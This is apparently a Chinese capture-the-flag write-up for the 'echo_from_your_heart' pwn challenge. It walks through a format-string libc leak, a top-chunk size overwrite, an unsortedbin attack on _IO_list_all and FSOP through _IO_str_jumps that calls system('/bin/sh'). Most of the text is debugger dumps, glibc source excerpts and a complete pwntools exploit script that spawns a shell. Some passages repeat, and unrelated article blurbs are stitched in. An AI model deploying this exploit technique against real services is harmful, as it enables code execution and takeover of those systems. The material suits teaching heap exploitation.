size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件:
至此,再次附上sysmalloc中的_int_free的基本条件:
sysmalloc
_int_free
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 